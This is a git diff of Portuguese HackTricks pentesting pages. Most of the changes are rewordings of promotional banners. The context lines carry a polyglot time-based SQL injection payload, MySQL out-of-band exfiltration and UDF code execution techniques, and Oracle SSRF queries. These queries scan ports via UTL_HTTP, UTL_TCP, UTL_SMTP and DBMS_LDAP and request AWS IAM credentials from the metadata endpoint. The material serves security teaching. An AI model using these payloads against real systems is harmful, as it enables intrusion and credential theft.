* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -62,7 +62,7 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||||
```
|
```
|
||||||
A partir de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||||
|
|
||||||
## Fluxo
|
## Fluxo
|
||||||
|
|
||||||
|
@ -164,17 +164,17 @@ mysql> select version();
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
|
|
@ -6,10 +6,10 @@
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -22,13 +22,13 @@ Na exploração da exfiltração de dados Out of Band do SQL, a função `LOAD_F
|
||||||
|
|
||||||
A variável global `secure_file_priv`, se não definida, tem como padrão `/var/lib/mysql-files/`, limitando o acesso a arquivos a este diretório, a menos que seja definida como uma string vazia (`""`). Este ajuste requer modificações no arquivo de configuração do banco de dados ou nos parâmetros de inicialização.
|
A variável global `secure_file_priv`, se não definida, tem como padrão `/var/lib/mysql-files/`, limitando o acesso a arquivos a este diretório, a menos que seja definida como uma string vazia (`""`). Este ajuste requer modificações no arquivo de configuração do banco de dados ou nos parâmetros de inicialização.
|
||||||
|
|
||||||
Dado que `secure_file_priv` está desativado (`""`), e assumindo que o arquivo necessário e as permissões `file_priv` são concedidas, arquivos fora do diretório designado podem ser lidos. No entanto, a capacidade dessas funções de fazer chamadas de rede depende muito do sistema operacional. Em sistemas Windows, chamadas de rede para caminhos UNC são viáveis devido à compreensão do sistema operacional das convenções de nomenclatura UNC, potencialmente levando à exfiltração de hashes NTLMv2.
|
Dado que `secure_file_priv` está desativado (`""`), e assumindo que as permissões necessárias de arquivo e `file_priv` são concedidas, arquivos fora do diretório designado podem ser lidos. No entanto, a capacidade dessas funções de fazer chamadas de rede depende muito do sistema operacional. Em sistemas Windows, chamadas de rede para caminhos UNC são possíveis devido ao entendimento do sistema operacional das convenções de nomenclatura UNC, potencialmente levando à exfiltração de hashes NTLMv2.
|
||||||
|
|
||||||
Este método de SSRF é limitado à porta TCP 445 e não permite a modificação do número da porta, embora possa ser usado para acessar compartilhamentos com privilégios de leitura total e, como demonstrado em pesquisas anteriores, para roubar hashes para exploração adicional.
|
Este método de SSRF é limitado à porta TCP 445 e não permite a modificação do número da porta, embora possa ser usado para acessar compartilhamentos com privilégios de leitura total e, como demonstrado em pesquisas anteriores, para roubar hashes para exploração adicional.
|
||||||
|
|
||||||
### Execução de Código Remoto (RCE) via Funções Definidas pelo Usuário (UDF)
|
### Execução de Código Remoto (RCE) via Funções Definidas pelo Usuário (UDF)
|
||||||
|
|
||||||
Bancos de dados MySQL oferecem o uso de Funções Definidas pelo Usuário (UDF) a partir de arquivos de biblioteca externos. Se essas bibliotecas forem acessíveis em diretórios específicos ou no `$PATH` do sistema, elas podem ser invocadas de dentro do MySQL.
|
Bancos de dados MySQL oferecem o uso de Funções Definidas pelo Usuário (UDF) a partir de arquivos de biblioteca externos. Se essas bibliotecas forem acessíveis dentro de diretórios específicos ou no `$PATH` do sistema, elas podem ser invocadas de dentro do MySQL.
|
||||||
|
|
||||||
Essa técnica permite a execução de solicitações de rede/HTTP por meio de uma UDF, desde que várias condições sejam atendidas, incluindo acesso de gravação ao `@@plugin_dir`, `file_priv` definido como `Y` e `secure_file_priv` desativado.
|
Essa técnica permite a execução de solicitações de rede/HTTP por meio de uma UDF, desde que várias condições sejam atendidas, incluindo acesso de gravação ao `@@plugin_dir`, `file_priv` definido como `Y` e `secure_file_priv` desativado.
|
||||||
|
|
||||||
|
@ -36,7 +36,7 @@ Por exemplo, a biblioteca `lib_mysqludf_sys` ou outras bibliotecas UDF que permi
|
||||||
|
|
||||||
O processo varia se o `@@plugin_dir` não for gravável, especialmente para versões do MySQL acima de `v5.0.67`. Nesses casos, devem ser usados caminhos alternativos que sejam graváveis.
|
O processo varia se o `@@plugin_dir` não for gravável, especialmente para versões do MySQL acima de `v5.0.67`. Nesses casos, devem ser usados caminhos alternativos que sejam graváveis.
|
||||||
|
|
||||||
A automação desses processos pode ser facilitada por ferramentas como o SQLMap, que suporta injeção de UDF, e para injeções de SQL cegas, a redireção de saída ou técnicas de contrabando de solicitações DNS podem ser utilizadas.
|
A automação desses processos pode ser facilitada por ferramentas como o SQLMap, que suporta injeção de UDF, e para injeções de SQL cegas, a redireção de saída ou técnicas de contrabando de solicitação DNS podem ser utilizadas.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -44,10 +44,10 @@ A automação desses processos pode ser facilitada por ferramentas como o SQLMap
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,12 +4,12 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,7 +20,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
|
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
|
||||||
|
|
||||||
Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rapidamente para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou o [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
|
Instalar o Oracle pode ser realmente doloroso, especialmente se você deseja configurar uma instância rápida para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou o [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
|
||||||
|
|
||||||
Executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
|
Executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
|
||||||
```
|
```
|
||||||
|
@ -49,7 +49,7 @@ A pesquisa retornou os seguintes resultados (nem todos podem ser usados para rea
|
||||||
* DBMS\_STREAMS\_ADM
|
* DBMS\_STREAMS\_ADM
|
||||||
* UTL\_HTTP
|
* UTL\_HTTP
|
||||||
|
|
||||||
Esta pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente o direciona para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
|
Esta pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) pois a [página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente o direciona para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
|
||||||
|
|
||||||
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
|
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
|
||||||
|
|
||||||
|
@ -70,11 +70,11 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||||
```
|
```
|
||||||
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estar aberta.
|
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` mostra que a porta está fechada enquanto um valor de sessão aponta para a porta estar aberta.
|
||||||
|
|
||||||
**UTL\_SMTP**
|
**UTL\_SMTP**
|
||||||
|
|
||||||
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer uma especificação de host e porta.
|
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer um host e especificação de porta.
|
||||||
|
|
||||||
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
|
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
|
||||||
```
|
```
|
||||||
|
@ -96,7 +96,7 @@ Um `ORA-29276: tempo de transferência expirado` indica que a porta está aberta
|
||||||
|
|
||||||
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
|
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
|
||||||
|
|
||||||
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificá-lo um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
|
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificar um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
|
||||||
```
|
```
|
||||||
set serveroutput on size 30000;
|
set serveroutput on size 30000;
|
||||||
SET SERVEROUTPUT ON
|
SET SERVEROUTPUT ON
|
||||||
|
@ -138,9 +138,9 @@ END;
|
||||||
```
|
```
|
||||||
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da Instância de todos os provedores de nuvem, já que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
|
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da Instância de todos os provedores de nuvem, já que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
|
||||||
|
|
||||||
**UTL\_HTTP e Solicitações Web**
|
**UTL_HTTP e Solicitações Web**
|
||||||
|
|
||||||
Possivelmente a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band é o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
|
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band seja o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
|
||||||
```
|
```
|
||||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||||
```
|
```
|
||||||
|
@ -150,6 +150,6 @@ select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||||
```
|
```
|
||||||
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
|
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados é um sinal de que a porta está aberta.
|
||||||
|
|
||||||
